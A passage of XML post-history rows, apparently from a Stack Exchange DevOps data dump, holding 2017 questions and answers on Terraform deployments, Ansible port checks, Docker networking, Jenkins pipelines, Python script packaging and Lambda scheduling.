conflicting with an existing one. There's some recommendations and caveats about running Terraform via scripts in the guide [_Running Terraform in Automation_](https://www.terraform.io/guides/running-terraform-in-automation.html).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Although the third option here is the most direct mapping of your CloudFormation approach, the second option is more commonly used due to it striking a reasonable compromise between control and workflow overhead.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5360" PostHistoryTypeId="5" PostId="1684" RevisionGUID="26ec13cb-a44e-4ba4-98e3-7765ac3063e0" CreationDate="2017-08-08T23:28:47.717" UserId="2708" Comment="fixed grammar and minor improvements to the language" Text="I have one service in production (on AWS), which follows the [immutable server pattern][1]. Its deployment looks like this:&#xD;&#xA;&#xD;&#xA;1. Create a new AMI with [Packer][2]&#xD;&#xA;2. Create a new CloudFormation stack, starting with an auto-scaling group of size 1.&#xD;&#xA;&#xD;&#xA;When I see that the new release is good, I can increase the number of instances and eventually shutdown old instances and finally remove the CloudFormation stack from the previous release.&#xD;&#xA;&#xD;&#xA;In my initial version of the deployment, I used only one stack and updated it in place. For normal releases, that meant an the auto-scaling group was modified by CloudFormation to point to the new AMI. Then I had to either kill an existing instance or increase the auto scaling group to get an instance with the release running.&#xD;&#xA;&#xD;&#xA;Using a new stack for every release makes the process simpler for me, as rollbacks are easier and it makes rolling out releases to parts of the users easier. Similar to the immutable server pattern, I avoid in-place updates but instead only create new resources (stacks in this case).&#xD;&#xA;&#xD;&#xA;In the company that I work for, it is now more common to use [Terraform][3] instead of CloudFormation. I wonder if it is possible to adept the deployment that I sketched with Terraform. I don't mind using another tool, my main point is that I would like to preserve these basic concepts:&#xD;&#xA;&#xD;&#xA;* Allow deployments of new releases without touching the stable release&#xD;&#xA;* Instead of (in-place) updating the setup, only create new resources and kill the old resources.&#xD;&#xA;&#xD;&#xA;So, far I have only briefly worked with Terraform and used it only to manage some small part for our infrastructure. As recommended, I kept the state in an S3 bucket, for instance:&#xD;&#xA;&#xD;&#xA;    # (from main.tf)&#xD;&#xA;    terraform {&#xD;&#xA;      required_version = &quot;&gt;= 0.9.4&quot;&#xD;&#xA;      backend &quot;s3&quot; {&#xD;&#xA;        bucket = &quot;example-company-terraform-state&quot;&#xD;&#xA;        key    = &quot;/foo-service/terraform.tfstate&quot;&#xD;&#xA;        region = &quot;eu-central-1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here, the key is always fixed. So, Terraform will update everything in place. I assume you could use a new key for new releases to have a similar effect as creating new CloudFormation stacks.&#xD;&#xA;&#xD;&#xA;What I did not figure out is how to move traffic to the new instances. All instances should be behind an load balancer (ELB). I think, you could use a separated setup for the ELB, which will distribute traffic to instances from both the old and the new release.&#xD;&#xA;&#xD;&#xA;So, if a new release is rolled out, there would be three different Terraform states:&#xD;&#xA;&#xD;&#xA;1. Terraform setup for the ELB&#xD;&#xA;2. Terraform setup for the old release (more specifically, its auto-scaling group)&#xD;&#xA;3. Terraform setup for the new release&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Has the approach of using different S3 keys for the Terraform state the same effect as using separate CloudFormation stacks? (What I'm looking for is a way to have multiple Terraform setups that do not interfere with each other.)&#xD;&#xA;* Do you see a solution to the problem of getting all instances (from the old and the new release) behind a shared ELB?&#xD;&#xA;* I read that you can export resources in Terraform. Do you think, I could create a Terraform setup for the ELB, export the ELB as a resource, and use it in the Terraform setup for the instances (plus auto-scaling group) to make them attach to the shared ELB?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;(Note: For my other service, where I use CloudFormation, we do not use an ELB, so it is strictly speaking a different problem. I only mentioned it to explain what I found useful about the deployment and why I think about applying some of the ideas for other services.)&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ImmutableServer.html&#xD;&#xA;  [2]: https://www.packer.io/&#xD;&#xA;  [3]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5361" PostHistoryTypeId="5" PostId="1664" RevisionGUID="dec9010d-eb95-4100-b9ea-a1231f0df0de" CreationDate="2017-08-09T07:51:39.037" UserId="519" Comment="edited `name` attribute" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers are accessible from current host&#xD;&#xA;      wait_for:&#xD;&#xA;        host: mywebserver.com&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your inventory of 400+ hosts - Ansible will check in parallel that all hosts can reach `mywebserver.com` on those ports.&#xD;&#xA;&#xD;&#xA;- the parallelism is subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Open ports are reported as `ok` items in output and closed ports are reported as `failed` (you must use `-vv` flag on `ansible-playbook` to see this output).&#xD;&#xA;&#xD;&#xA;### Fine-tuning output&#xD;&#xA;&#xD;&#xA;If you want more specific output for the success and failure cases, the code must be more complex, adding a second task:&#xD;&#xA;&#xD;&#xA;- `wait_for` task must `register` a variable&#xD;&#xA;-  the second task produces output using `debug` based on success/failure condition (e.g. using Jinja2 [conditional expression](https://stackoverflow.com/a/14215034/992887))&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5362" PostHistoryTypeId="5" PostId="1655" RevisionGUID="fecff724-46de-482a-89c2-9ddfff7340b1" CreationDate="2017-08-09T09:33:11.800" UserId="3775" Comment="added 13 characters in body" Text="I'm trying to implement [this][1] pre-cooked package of NGINX, PHP-FPM, MySQL, E-L-K.&#xD;&#xA;&#xD;&#xA;Everything is working fine but the connection with the database. It throws a ConnectionException.&#xD;&#xA;&#xD;&#xA;I'm not really sure if the program should try to access *172.18.0.4* instead of *172.18.0.3*, and where does this configuration comes from.&#xD;&#xA;&#xD;&#xA;**The IPs of my containers are:**&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_elk_1 - 172.18.0.2&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_nginx_1 - 172.18.0.5&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_php_1 - 172.18.0.3&#xD;&#xA;&#xD;&#xA;&gt; /dockersymfony_db_1 - 172.18.0.4&#xD;&#xA;&#xD;&#xA;**The error:**&#xD;&#xA;&#xD;&#xA;&gt; [Doctrine\DBAL\Exception\ConnectionException]                                                                            &#xD;&#xA;  An exception occured in driver: SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.18.0.3' (using password: YES)&#xD;&#xA;&#xD;&#xA;What could be happenning? Is there a way to check a mysql connection manually?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/carlosas/full-docker-for-symfony-3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5363" PostHistoryTypeId="2" PostId="1687" RevisionGUID="3afa550e-6aa2-47a6-97c2-4446a129bd55" CreationDate="2017-08-09T11:27:15.030" UserId="3851" Text="One way I get locked out while developing is by changing the permissions on any of the directories or files associated with the keys used by `ssh`.  This happens to me when I untar files or run some installation script while initializing the machine that touches the `ec2-user` account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    1&gt; ls -ld $HOME $HOME/.ssh&#xD;&#xA;    drwx------ 15 ec2-user ec2-user 4096 Aug  1 13:15 /home/ec2-user/&#xD;&#xA;    drwx------  2 ec2-user ec2-user 4096 Jun 10 11:18 /home/ec2-user/.ssh/&#xD;&#xA;&#xD;&#xA;    2&gt; ls -l $HOME/.ssh/authorized_keys&#xD;&#xA;    -rw------- 1 ec2-user ec2-user 385 Jun 10 11:18 /home/ec2-user/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;To protect myself against my own mistakes, I create a new user and copy the `ec2-user` key over.  That account is used as a backup and not part of any script.  Once I tested everything, I remove the account.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5364" PostHistoryTypeId="2" PostId="1688" RevisionGUID="79cec46c-e962-472f-8d07-678c9fe4facb" CreationDate="2017-08-09T14:55:12.633" UserId="707" Text="I a stack with higher number of services it seems that Docker DNS does not work anymore which leads to effects that container's names are not known even to themselves.&#xD;&#xA;&#xD;&#xA;While I have filed [this bug][1], I wonder whether there is a way to debug this more extensively to &quot;prove&quot; the DNS error, or for example manually &quot;fix&quot; the DNS name.&#xD;&#xA;&#xD;&#xA;Will be there some deeper error message?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/988" ContentLicense="CC BY-SA 3.0" />
  <row Id="5365" PostHistoryTypeId="1" PostId="1688" RevisionGUID="79cec46c-e962-472f-8d07-678c9fe4facb" CreationDate="2017-08-09T14:55:12.633" UserId="707" Text="Debug Docker DNS" ContentLicense="CC BY-SA 3.0" />
  <row Id="5366" PostHistoryTypeId="3" PostId="1688" RevisionGUID="79cec46c-e962-472f-8d07-678c9fe4facb" CreationDate="2017-08-09T14:55:12.633" UserId="707" Text="&lt;docker&gt;&lt;dns&gt;&lt;networking&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5367" PostHistoryTypeId="2" PostId="1689" RevisionGUID="c0609cc4-3052-420d-be11-d5a850435054" CreationDate="2017-08-09T15:28:07.740" UserId="60" Text="We've been starting to link build&amp;test&amp;deployment jobs together into sequential tasks (for now as simple as: build -&gt; run tests -&gt; if tests pass -&gt; deploy) and had some experiments with [Promoted Builds][1] and [Pipelines][2].&#xD;&#xA;&#xD;&#xA;Is our understanding correct that Promoted builds and Pipelines are two different separate strategies to Continuous delivery? Or, can they still be used together?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Promoted+Builds+Plugin&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5368" PostHistoryTypeId="1" PostId="1689" RevisionGUID="c0609cc4-3052-420d-be11-d5a850435054" CreationDate="2017-08-09T15:28:07.740" UserId="60" Text="Jenkins Promotions vs Pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="5369" PostHistoryTypeId="3" PostId="1689" RevisionGUID="c0609cc4-3052-420d-be11-d5a850435054" CreationDate="2017-08-09T15:28:07.740" UserId="60" Text="&lt;jenkins&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5370" PostHistoryTypeId="2" PostId="1690" RevisionGUID="58eb34d6-4f63-41e4-8a49-cb36be2b4489" CreationDate="2017-08-10T05:34:38.503" UserId="3862" Text="I have a bunch of python scripts which I release to a python virtual environment on a remote machine. The virtual environment is rarely updated. The scripts that scripts are pulled from a git repository and a makefile is used to deploy them into the virtual environment directory.&#xD;&#xA;&#xD;&#xA;My question is, is there a more normal way to deploy the scripts? I would like a process that at least remembers which files were deployed for cleanup upon the next release. I've read a bit on pip packaging, but I'm not sure if it fits our setup. The scripts need to be in a common location where they can be called by other applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="5371" PostHistoryTypeId="1" PostId="1690" RevisionGUID="58eb34d6-4f63-41e4-8a49-cb36be2b4489" CreationDate="2017-08-10T05:34:38.503" UserId="3862" Text="Python scripts project release convention or standard" ContentLicense="CC BY-SA 3.0" />
  <row Id="5372" PostHistoryTypeId="3" PostId="1690" RevisionGUID="58eb34d6-4f63-41e4-8a49-cb36be2b4489" CreationDate="2017-08-10T05:34:38.503" UserId="3862" Text="&lt;continuous-deployment&gt;&lt;release-management&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5373" PostHistoryTypeId="2" PostId="1691" RevisionGUID="6541bc32-e183-4e0e-add9-1a7a9146e5b8" CreationDate="2017-08-10T06:32:35.840" UserId="210" Text="One could consider to package the scripts. Depending on the distribution, e.g. ubuntu, windows, centos one could create a ppa, nuget or rpm. Once a newer version is installed, the package manager will remove the previous version automatically." ContentLicense="CC BY-SA 3.0" />
  <row Id="5374" PostHistoryTypeId="5" PostId="1691" RevisionGUID="1bb1054b-cd04-4b88-bfb0-299ba7b13ed0" CreationDate="2017-08-10T06:39:48.387" UserId="210" Comment="added 13 characters in body" Text="One could consider to package the scripts. Depending on the distribution, e.g. ubuntu, windows, centos one could create a ppa, nuget or rpm respectively. Once a newer version is installed, the package manager will remove the previous version automatically." ContentLicense="CC BY-SA 3.0" />
  <row Id="5375" PostHistoryTypeId="5" PostId="1690" RevisionGUID="041e2f61-6d8e-4157-a4c5-ae6cba57f8ae" CreationDate="2017-08-10T06:51:45.293" UserId="3862" Comment="added 21 characters in body" Text="I have a bunch of python scripts which I release to a python virtual environment on a remote machine. The virtual environment is rarely updated. The scripts that scripts are pulled from a git repository and a makefile is used to deploy them into the virtual environment directory.&#xD;&#xA;&#xD;&#xA;My question is, is there a more normal way to deploy the scripts? I would like a process that at least remembers which files were deployed for cleanup upon the next release. I've read a bit on pip packaging, but I'm not sure if it fits our setup. The scripts need to be in a common location where they can be called by other applications. The OS is SUSE Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="5376" PostHistoryTypeId="5" PostId="1691" RevisionGUID="d78152f3-72f1-42e4-918d-ba35e38142db" CreationDate="2017-08-10T06:57:15.393" UserId="210" Comment="added 103 characters in body" Text="One could consider to package the scripts. Depending on the distribution, e.g. ubuntu, windows, centos one could create a ppa, nuget or rpm respectively. Once a newer version is installed, the package manager will remove the previous version automatically.&#xD;&#xA;&#xD;&#xA;As yum or zypper could be used to install packages on OpenSuse one could consider to create an rpm by using either spec files or using [fpm][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jordansissel/fpm" ContentLicense="CC BY-SA 3.0" />
  <row Id="5377" PostHistoryTypeId="6" PostId="1690" RevisionGUID="6bbc7ed7-66d3-4707-9ad7-7cc11445cd5d" CreationDate="2017-08-10T08:10:52.583" UserId="210" Comment="missing tag added" Text="&lt;continuous-deployment&gt;&lt;release-management&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5378" PostHistoryTypeId="24" PostId="1690" RevisionGUID="6bbc7ed7-66d3-4707-9ad7-7cc11445cd5d" CreationDate="2017-08-10T08:10:52.583" Comment="Proposed by 210 approved by -1 edit id of 393" ContentLicense="CC BY-SA 3.0" />
  <row Id="5379" PostHistoryTypeId="5" PostId="1690" RevisionGUID="4fac7b22-05a1-4641-be09-9563b5b80d83" CreationDate="2017-08-10T08:10:52.583" UserId="40" Comment="deleted 1 character in body; edited title" Text="I have a lot of python scripts which I release to a python virtual environment on a remote machine. The virtual environment is rarely updated. The scripts that scripts are pulled from a git repository and a makefile is used to deploy them into the virtual environment directory.&#xD;&#xA;&#xD;&#xA;My question: is there a more normal way to deploy the scripts?&#xD;&#xA;&#xD;&#xA;I would like a process that at least remembers which files were deployed for cleanup upon the next release. I've read a bit on pip packaging, but I'm not sure if it fits our setup. The scripts need to be in a common location where they can be called by other applications. The OS is SUSE Linux." ContentLicense="CC BY-SA 3.0" />
  <row Id="5380" PostHistoryTypeId="4" PostId="1690" RevisionGUID="4fac7b22-05a1-4641-be09-9563b5b80d83" CreationDate="2017-08-10T08:10:52.583" UserId="40" Comment="deleted 1 character in body; edited title" Text="Recommendations about release convention or standard for Python scripts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5381" PostHistoryTypeId="2" PostId="1692" RevisionGUID="e45e5242-0ad6-4caf-a8fd-843d33f17705" CreationDate="2017-08-10T09:01:50.717" UserId="3863" Text="I got an application server image built with Docker. However, this image contains an OpenVPN client which needs a different certificate for each client, among other minimal configuration files.&#xD;&#xA;&#xD;&#xA;I push this image to multiple servers across the globe. Every of them communicates with each other, thats the reason to use the VPN.&#xD;&#xA;&#xD;&#xA;How should I put the configuration for such servers? I think this is out the scope of Docker. Must I use a configuration server like Ansible or so?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5382" PostHistoryTypeId="1" PostId="1692" RevisionGUID="e45e5242-0ad6-4caf-a8fd-843d33f17705" CreationDate="2017-08-10T09:01:50.717" UserId="3863" Text="Same Docker image, multiple configurations" ContentLicense="CC BY-SA 3.0" />
  <row Id="5383" PostHistoryTypeId="3" PostId="1692" RevisionGUID="e45e5242-0ad6-4caf-a8fd-843d33f17705" CreationDate="2017-08-10T09:01:50.717" UserId="3863" Text="&lt;docker&gt;&lt;deployment&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5384" PostHistoryTypeId="2" PostId="1693" RevisionGUID="ccdccd0f-b8c1-49c8-9950-464ea162b7eb" CreationDate="2017-08-10T09:25:32.920" UserId="3864" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5385" PostHistoryTypeId="1" PostId="1693" RevisionGUID="ccdccd0f-b8c1-49c8-9950-464ea162b7eb" CreationDate="2017-08-10T09:25:32.920" UserId="3864" Text="How to provide multiple configs for EC2 node using terraform and cloud-init?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5386" PostHistoryTypeId="3" PostId="1693" RevisionGUID="ccdccd0f-b8c1-49c8-9950-464ea162b7eb" CreationDate="2017-08-10T09:25:32.920" UserId="3864" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5387" PostHistoryTypeId="5" PostId="1693" RevisionGUID="d67d453b-5703-4de6-8b8c-261d75b55066" CreationDate="2017-08-10T09:41:34.017" UserId="3864" Comment="added 90 characters in body; edited body" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? May be I have wrong extensions for my configs? Or I'm just do not trigger its' launching? Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5388" PostHistoryTypeId="4" PostId="1693" RevisionGUID="bda738f2-59b3-4e2f-a597-f61dadde7819" CreationDate="2017-08-10T09:58:41.463" UserId="3864" Comment="edited title" Text="How to provide multiple configs for EC2 node using Terraform and cloud-init?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5389" PostHistoryTypeId="2" PostId="1694" RevisionGUID="7e4f59d0-516c-4586-bf6f-89fde2030060" CreationDate="2017-08-10T10:30:28.270" UserId="552" Text="If I get it right you use the same image for each container but their &quot;state&quot; change regarding the location, so you need an uniq cert per container.&#xD;&#xA;&#xD;&#xA;I suppose, if you have the need of OpenVPN, this is not a Swarm cluster. (If it was no need for openVPN), so no access to docker `config` or `secret`.&#xD;&#xA;&#xD;&#xA;I would go for a key/value store like [consul][1] and bundle it with [consul-template][2] so your config are store to the same place and consul-template generate the related files directly in the container.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.consul.io/intro/index.html&#xD;&#xA;  [2]: https://github.com/hashicorp/consul-template" ContentLicense="CC BY-SA 3.0" />
  <row Id="5390" PostHistoryTypeId="2" PostId="1695" RevisionGUID="6e079748-6ff4-4944-8695-d43e627cc59d" CreationDate="2017-08-10T11:20:15.560" UserId="3869" Text="I need to launch a LambdaA function and after X minutes I need to launch a LambdaB function with parameters passed from LamdaA&#xD;&#xA;&#xD;&#xA;I have testing the following:&#xD;&#xA;&#xD;&#xA;APIGW &gt; LambdaA &gt; SQS with delay  &gt; SQS can't trigger lambda functions&#xD;&#xA;APIGW &gt; LambdaA &gt; SNS &gt; trigger LambdaB . In that case I can't add a delay&#xD;&#xA;&#xD;&#xA;I need to do it serverless and without constant pooling for a queue or new messages.&#xD;&#xA;&#xD;&#xA;Is there any other possibility to trigger a second lambda function with a &quot;big&quot; delay?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5391" PostHistoryTypeId="1" PostId="1695" RevisionGUID="6e079748-6ff4-4944-8695-d43e627cc59d" CreationDate="2017-08-10T11:20:15.560" UserId="3869" Text="LambdaA -&gt; delay mins -&gt; lambdaB" ContentLicense="CC BY-SA 3.0" />
  <row Id="5392" PostHistoryTypeId="3" PostId="1695" RevisionGUID="6e079748-6ff4-4944-8695-d43e627cc59d" CreationDate="2017-08-10T11:20:15.560" UserId="3869" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5393" PostHistoryTypeId="2" PostId="1696" RevisionGUID="25f28dae-7463-4a05-bc43-bd73b82c19ce" CreationDate="2017-08-10T12:33:16.040" UserId="46" Text="From your comment above: &#xD;&#xA;&#xD;&#xA;&gt; The main difficult is launch the second lambda with a delay from the&#xD;&#xA;&gt; first one and without doing a pooling constantly&#xD;&#xA;&#xD;&#xA;As using SQS queues are an option for you, you can make [CloudWatch alarms which can monitor for activity in the queues][1], and link them up with SNS, which can be used as a trigger for LambdaB.&#xD;&#xA;&#xD;&#xA;So, your flow can be:&#xD;&#xA;&#xD;&#xA;    Lambda1 --&gt; SQS --&gt; CloudWatch metric linked to an alarm --&gt; SNS --&gt; Lambda2&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/MonitorSQSwithCloudWatch.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5394" PostHistoryTypeId="5" PostId="1693" RevisionGUID="5dbb7631-7c4c-4712-bedf-6a23544f91f7" CreationDate="2017-08-10T12:45:10.077" UserId="3864" Comment="deleted 2 characters in body" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/puppetserver_config.tpl&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;initial_config&quot; {&#xD;&#xA;        template = &quot;${file(&quot;${path.module}/initial_config.sh&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;node declaration:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;puppetserver&quot; {&#xD;&#xA;	    depends_on             = [&quot;aws_security_group.puppetserver&quot;]&#xD;&#xA;	    count                  = 1&#xD;&#xA;	    key_name               = &quot;${var.key_name}&quot;&#xD;&#xA;	    ami                    = &quot;${data.aws_ami.centos7.id}&quot;&#xD;&#xA;	    instance_type          = &quot;${var.instance_type}&quot;&#xD;&#xA;	    user_data              = &quot;${data.template_cloudinit_config.puppetserver_config.rendered}&quot;&#xD;&#xA;	    security_groups        = [&quot;${aws_security_group.puppetserver.name}&quot;]&#xD;&#xA;&#xD;&#xA;	    tags {&#xD;&#xA;		    Name = &quot;puppet&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;But when it's being bootstrapped I see only `initial_config` worked. `puppetserver_config` is ignored.&#xD;&#xA;How to make it work properly? May be I have wrong extensions for my configs? Or I just do not trigger its' launching? Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5395" PostHistoryTypeId="5" PostId="1693" RevisionGUID="b19a221b-07ad-4aa7-bdb9-85de7f331f30" CreationDate="2017-08-10T14:08:27.517" UserId="3864" Comment="added 2612 characters in body" Text="I need to use several configs on my EC2 node using Terraform.&#xD;&#xA;&#xD;&#xA;    data &quot;template_cloudinit_config&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;	    gzip          	 = true&#xD;&#xA;	    base64_encode 	 = true&#xD;&#xA;	    part {&#xD;&#xA;		    filename	 = &quot;initial.sh&quot;&#xD;&#xA;		    content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.initial_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;	&#xD;&#xA;	    part {&#xD;&#xA;		    filename     = &quot;puppetserver_config.cfg&quot;&#xD;&#xA;		    content_type = &quot;text/cloud-config&quot;&#xD;&#xA;		    content      = &quot;${data.template_file.puppetserver_config.rendered}&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;    data &quot;template_file&quot; &quot;puppetserver_config&quot; {&#xD;&#xA;        